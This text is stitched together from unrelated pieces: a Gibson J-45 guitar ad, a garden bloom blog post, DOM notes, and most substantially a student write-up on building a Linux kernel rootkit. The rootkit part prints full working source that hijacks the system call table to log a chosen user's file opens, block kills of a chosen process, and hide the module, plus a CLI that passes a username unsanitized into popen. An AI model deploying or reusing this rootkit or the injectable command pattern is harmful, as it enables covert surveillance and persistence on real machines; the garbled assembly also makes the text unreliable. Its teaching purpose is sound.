Rosewood Fingerboard with Rolled Edges and Dot Inlays The Gibson J-45 Custom's fingerboard comprises high-grade rosewood, which is personally inspected and qualified by Gibson experts before it enters the Gibson factories. It's a resilient and durable wood, making way for a balanced and stable fingerboard, and giving each chord and note enhanced clarity and bite. The dot inlays on the J-45 are made of genuine mother-of-pearl-of-pearl, and are added to the fingerboard using a special Gibson process that eliminates gaps and doesn't require fillers. What's more, the J-45 Custom's fingerboard boasts a rolled edge that's lightly beveled, which enhances the instrument's smooth playability.
Get amazing sound onstage courtesy of LR Baggs VTC electronics The Gibson Acoustic J-45 Custom comes with LR Baggs's popular VTC acoustic pickup system, a popular choice among Sweetwater's acoustic guitarists. This system features a low-profile under-saddle transducer that's proven more stable and durable than many standard ribbon-type pickups. Its sleek and effective design removes unnecessary internal components to enhance the coupling between the pickup and the guitar and improve the sensitivity of the transducer for a robust, lively, and natural acoustic sound with excellent dynamics and delicate high end. Combined with an onboard preamplifier with an unobtrusive and removable volume control, mounted just inside the soundhole, the VTC gives your Gibson Acoustic J-45 Custom the amplification you need, with zero compromises for tone or convenience.
Gibson J-45 Custom Acoustic-electric Guitar Features: Gibson's classic acoustic workhorse with rosewood back and sides Solid Sitka spruce top offers great projection and tone Solid rosewood back and sides offer detailed, full sound LR Baggs VTC electronics transfer every nuance of your tone to your PA or amp Softened fingerboard edge adds increased playing comfort New finishing oil maximizes the tonewoods natural vibrancy Hardshell case and Certificate of Authenticity included Gibson's J-45 Custom delivers the premier tone - and timeless appearance - you've come to love from the top-selling J-45 series!
Sign up for exclusive offers


--- title: Surprise! Winter is Back! date: 2015-02-27 00:00:00 -06:00 categories: - whats-blooming layout: post blog-banner: whats-blooming-now-winter.jpg post-date: February 27, 2015 post-time: 5:24 PM blog-image: wbn-default.jpg ---
Clouds keep our scenic backdrop hidden shortly after the snow stopped falling.
Cornelian Cherry Cornus mas
This early blooming shrub produces clusters of small yellow flowers that last from one to three weeks.
Rijnveld's Early Sensation Daffodil Narcissus 'Rijnveld's Early Sensation'
Not even snow can stop this daffodil from doing its thing.
Dwarf Iris Iris reticulata
The backdrop of snow really makes the color of this Iris really grab your attention.
Bloodgood Japanese Maple Acer palmatum 'Bloodgood'
Tiny water drops lined the branches of this Maple like glass beads on a necklace.
Winter is a great time to visit the garden, especially after a snow storm. Snow is in the forecast for this weekend so why not plan a visit and don't forget your camera!


document.getElementById('id')
Click me!
Don’t recommend embedding events directly in page elements!
All event objects in the DOM are based on the Event Object.
The target event property returns the element that triggered the event.
preventDefault
Vkontakte
stopPropagation


Fruits & Vegetables Classifier
Upload a picture of a fruit or a vegetable to see what species it is!


Use the following secret for room registration.
Select "Register a new room" or an existing room from the drop-down to view/edit Room registration details.
Use the following fields to configure the registration of your room with the game.
Describe the doors of your room as they appear from the outside.


LKM Rootkit and User Appilcation Practice
by 줌코딩
Practice Problem
- Create a toy rootkit dogdoor.ko - three main functionalities
- log the names of files that a user has accessed
- prevent a kill to a specified process
- hide the dogdoor module from the module list
- create a text interface /proc/dogdoor
- Create a user-level program bingo.c, a CLI with the dogdoor module
1. Introduction
1.1 The Dual Mode Operations
As we have learned in the course, operating systems work in dual-mode or more. Usually, the mode is divided into two, user and kernel mode. For user applications, all the process runs in user mode, which means that a limited set of instructions is allowed. When a user application requests a service from the operating system with a system call, an interrupt occurs, the system transitions from user to kernel mode. In the kernel mode OS gain the control of the computer. The system fulfills the requests of the user application. Within the dual mode, operating systems gain reliability and security.
1.2 What is Loadable Kernel Modules(LKM)?
The Loadable Kernel Modules(LKM) are modules that can be loaded and unloaded into the kernel. The LKM can provide additional functionalities to the kernel and even control the original functionalities in the kernel. In the kernel, there is a list of system calls that handle each interrupts. By the LKM, we can intercept a system call and give extra work for the kernel to do. Without using the LKM, the kernel needs lots of memory space since it has to take care of all the drives. Moreover, the kernel has to be rebooted to rebuild every time a hardware is added or a driver is updated. In this project, we practiced to create a LKM rootkit(dogdoor.ko) and a user application(bingo.c) that utilizes the functions of the LKM.
2. How to Interact between User Program and LKM
2.1 Proc Interface
The proc Virtual file system where files act as agents for a kernel data structure or kernel module to interact with user-level programs. It provides the internal kernel information as a file system to users. When the module is loaded, the proc interface is created as a file to /proc. This can be read and written by users and the kernel. It can work as a communication bridge between Bingo and Dogdoor.
2.2 Command Line Interface(CLI) Program using C
For Bingo to access /proc/dogdoor, Bingo should know where the dogdoor is and what to get from or put into the house. To let him know, we use the CLI program with bingo.c. When the object is created, we pass some valuable information as parameters. For bingo, we give two parameters, as ‘./bingo [first][second].’
- First : Work that Bingo can do
- Second : Things to deliver
The CLI usage can be seen with a command ‘./bingo help’.
Fig 1. The result of the command ‘./bingo help’
2.3 What Bingo actually brings to the dogdoor
Among the options that Bingo can do, ‘stalker’(not ‘stalker [username]’) does not have to write anything to the /proc/dogdoor. Other options need writing, which can be confusing to the dogdoor as it does not know what to do with the information. It means that Bingo has to specify what to do. Therefore, I give a distinctive number for stalker, nokill and toggle.
- Stalker = 1
- Nokill = 2
- Toggle = 3
The second parameter such uid found by the username and pid will be passed with the work number at the end. I chose to pass the information as an integer type as it is easy to be parsed. For example, if the command is ‘./bingo nokill 13535,’ then the actual data passed is ‘135352’ as 2 specifies the work for ‘nokill’.
2.4 Interaction by unbuffered I/O methods
Unbuffered I/O methods directly executes system calls inside the kernel by a function call. It sends out the file descriptor as parameter that enables operations. I chose these methods to read and write the proc file. Bingo opened the proc file, ‘/proc/dogdoor’ with open() and parameter O_RDWR which allows writing and reading. When it requires reading the file, it calls read() method and write() method for writing.
3. How Dogdoor works
3.1 Stalker (Log the file list of the given username)
As the given source code, ‘openhook.c,’ it is allowed to intercept the system call by linking my own method to specific system call. Therefore, every time an open system call is invoked, ‘dogdoor_sys_open,’ method is called. In this method, it receives the ‘filename’ and ‘uid.’ If the uid is same as the saved uid, then ‘filename’ is added to ‘filelist.’ The ‘filelist’ has 10 slots to put. It has a ‘count’ variable which tells the index of array to put. When the count goes over 10, it go backs to 0, it starts overwriting the ‘filelist.’ When the user requests by reading the ‘/proc/dogdoor,’ it returns the filelist backward from the current count, which works like ‘First-In-Last-Out.’
3.2 PID Savior
To save a PID from killing, I have approached with the similar pattern of the stalker. I searched for ‘sys_kill’ index of the system call list.  Searching in the ‘elixir.bootlin.com,’ I could find the method prototype.
When ‘sys_kill’ is invoked, the pid is compared with the ‘saved_pid.’ It returns -1 when the pid is equal to the saved one. Otherwise, the original ‘sys_kill()’ is executed.
3.3 Hiding and Showing the Module
The idea of hiding and showing the module seems to be easy at first. If I know the array of the loaded modules, then I can remove the module from the list and add back to the list. However, I could not find the list name. The linked list in Kernel is strange at first.
The linked list in Kernel is weird because we put list node inside the data. It is confusing that there it seems not to have a way to reach the data. As it has two headed list, ‘prev’ and ‘next,’ the erasing was easy with ‘list_del’ method.
However, to add the module back to the list, it has to remember the head of the list. I made a global variable that remembers the ‘prev’ list of ‘THIS_MODULE.’ That way, there is no need for the listname for adding since I can reconnect ‘THIS_MODULE’s list to the remembered ‘prev’ list. The Boolean type variable, ‘hidden,’ works as a switch to hide and show the module on the list.
Source Code
bingo.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
//for showing the help message
void printhelp(){
printf("\n<help>\nThe Greatest Dogdoor using the Lodable Kernel Module(LKM) \n");
printf("Options:\n\tstalker \t\t: Print out files the specified user has been visited\n\tstalker [username] \t: Specify the user to stalk\n\tnokill [pid] \t\t: Prevent a process from killing\n\ttoggle \t\t\t: Toggle hiding and showing the dogdoor from the list\n");
}
int main(int argc, char *argv[]) {
char buf[300];
int fd = open("/proc/dogdoor", O_RDWR);
//if the first parameter is not given
if(argv[1] == NULL) printhelp();
//if the first parameter is "stalker"
else if(strcmp(argv[1], "stalker") == 0){
if(argv[2] == NULL){
read(fd, buf, 300);
puts(buf);
}
else{
//search uid with the argv[2] by a command id -u [username]
char search[100] = "id -u ";
strcat(search, argv[2]);
//write the result to a file pointer
char uid[100];
FILE *p = popen(search, "r");
//get the uid from the pointer
if(p != NULL) {
while(fgets(uid, sizeof(uid), p) != NULL);
}
//if the uid exists start stalking
if(uid[0] < 58 && uid[0] > 47){
printf("Start stalking %s.\n", argv[2]);
int i = 0;
while(1){
if(uid[i] == '\n'){
//uid + '1'
uid[i] = 49;
break;
}
i++;
}
//write the uid+'1' to /proc/dogdoor
write(fd, uid, strlen(uid));
}
}
}
//if the first parameter is "nokill"
else if(strcmp(argv[1], "nokill") == 0){
if(argv\[2\][0]-'0'== 0) printf("nokill disabled.\n");
else printf("Prevent pid %s from killing.\n ", argv[2]);
//pid + '2'
strcat(argv[2], "2");
//write the pid +'2' to /proc/dogdoor
write(fd, argv[2], strlen(argv[2]));
}
//if the first parameter is "toggle"
else if(strcmp(argv[1], "toggle") == 0){
printf("toggle hiding and showing the backdoor module.\n");
//write '3' to /proc/dogdoor
write(fd, "3", 5);
}
//if the first paramter is "help"
else if(strcmp(argv[1], "help") == 0) printhelp();
//other cases will be showing the alert message and help message
else{
printf("\nCommand not found. Check the manual below.\n\n");
printhelp();
}
close(fd);
return 0;
}
dogdoor.c
#include <linux/syscalls.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/seq_file.h>
#include <linux/uaccess.h>
#include <linux/kallsyms.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <linux/cred.h>
#include <linux/sched.h>
MODULE_LICENSE("GPL");
char filepath[128] = { 0x0, } ;
char filelist\[10\][128] = { {0x0, } };
void ** sctable ;
int count = 0 ;
int saved_uid = -1;
long saved_pid = -1;
bool hidden = false;
struct list_head* head;
asmlinkage long (*orig_sys_kill)(pid_t pid, int sig) ;
asmlinkage int (*orig_sys_open)(const char __user * filename, int flags, umode_t mode) ;
//when the system call kill is intercepted
asmlinkage long dogdoor_sys_kill(pid_t pid, int sig) {
//if the pid is same as the saved one, it will return -1.
if(pid == saved_pid) return -1;
//otherwise, original system call is executed
return orig_sys_kill(pid, sig);
}
//when the system call open is intercepted
asmlinkage int dogdoor_sys_open(const char __user * filename, int flags, umode_t mode)
{
char fname[256];
//copy filename to fname
copy_from_user(fname, filename, 256);
//print the log of the current file accessed
printk("%d : %s", current->cred->uid.val, fname);
//if the uid is same as the saved uid, then put the filename to the filelist
if(saved_uid - current->cred->uid.val == 0 && fname[0] != 0x0){
strcpy(filelist[count], fname);
count ++;
if(count == 10) count = 0;
}
//go back to the original system call
return orig_sys_open(filename, flags, mode) ;
}
static
int dogdoor_proc_open(struct inode *inode, struct file *file) {
return 0 ;
}
static
int dogdoor_proc_release(struct inode *inode, struct file *file) {
return 0 ;
}
static
ssize_t dogdoor_proc_read(struct file *file, char __user *ubuf, size_t size, loff_t *offset)
{
char buf[900] ;
ssize_t toread ;
int j = 0;
j = sprintf(buf, "uid : %d\n", saved_uid);
//if the uid is not specified yet
if(saved_uid == -1){
j+= sprintf(buf, "uid is not specified.\n");
}
//if the uid is specified, print the recent 10 files that the user has accessed
else{
int i = 0;
for(i = 0; i < 10; i ++){
if(--count == -1)count = 9;
j += sprintf(buf + j, "[%d] %s\n", i+1, filelist[count]);
}
}
toread = strlen(buf) >= *offset + size ? size : strlen(buf) - *offset ;
if (copy_to_user(ubuf, buf + *offset, toread))
return -EFAULT ;
*offset = *offset + toread ;
return toread ;
}
static
ssize_t dogdoor_proc_write(struct file *file, const char __user *ubuf, size_t size, loff_t *offset)
{
char buf[128] ;
if (*offset != 0 || size > 128)
return -EFAULT ;
/* bingo will give a command as an integer
* the command will be like \[param\][cs]
* for example, the command 10001 has 1000 as param and 1 as cs
* (cs) 1 : stalker, 2 : nokill, 3 : toggle
*/
int command = 0;
int cs = -1 ;
int param = -1;
if (copy_from_user(buf, ubuf, size))
return -EFAULT ;
//get the input as integer type command
sscanf(buf, "%d", &command);
cs = command%10;
param = command/10;
//stalker gets the uid
if(cs == 1) saved_uid = param;
//pid savior starts working
else if(cs == 2){
if(param == 0) saved_pid = -1;
saved_pid = param;
}
//toggle hiding and showing a module to the list
else if(cs == 3){
//if hidden, read the module to the head
if(hidden) list_add_tail(&THIS_MODULE->list, head);
//else save the head and remove the module from the list
else{
head = THIS_MODULE->list.prev;
list_del(&THIS_MODULE->list);
}
//toggle
hidden = !hidden;
}
*offset = strlen(buf) ;
return *offset ;
}
static const struct file_operations dogdoor_fops = {
.owner = THIS_MODULE,
.open = dogdoor_proc_open,
.read = dogdoor_proc_read,
.write = dogdoor_proc_write,
.llseek = seq_lseek,
.release = dogdoor_proc_release,
} ;
static
int __init dogdoor_init(void) {
unsigned int level ;
pte_t * pte ;
proc_create("dogdoor", S_IRUGO | S_IWUGO, NULL, &dogdoor_fops) ;
//get the system call table to intercept
sctable = (void *) kallsyms_lookup_name("sys_call_table") ;
//save the original system call for open and kill
orig_sys_open = sctable[__NR_open] ;
orig_sys_kill = sctable[37];
pte = lookup_address((unsigned long) sctable, &level) ;
if (pte->pte &~ _PAGE_RW)
pte->pte |= _PAGE_RW ;
//intercept the call to my custmized functions
sctable[__NR_open] = dogdoor_sys_open ;
sctable[37] = dogdoor_sys_kill ;
return 0;
}
static
void __exit dogdoor_exit(void) {
unsigned int level ;
pte_t * pte ;
remove_proc_entry("dogdoor", NULL) ;
//return the original system calls
sctable[__NR_open] = orig_sys_open ;
sctable[37] = orig_sys_kill ;
pte = lookup_address((unsigned long) sctable, &level) ;
pte->pte = pte->pte &~ _PAGE_RW ;
}
module_init(dogdoor_init);
module_exit(dogdoor_exit);
Subscribe via RSS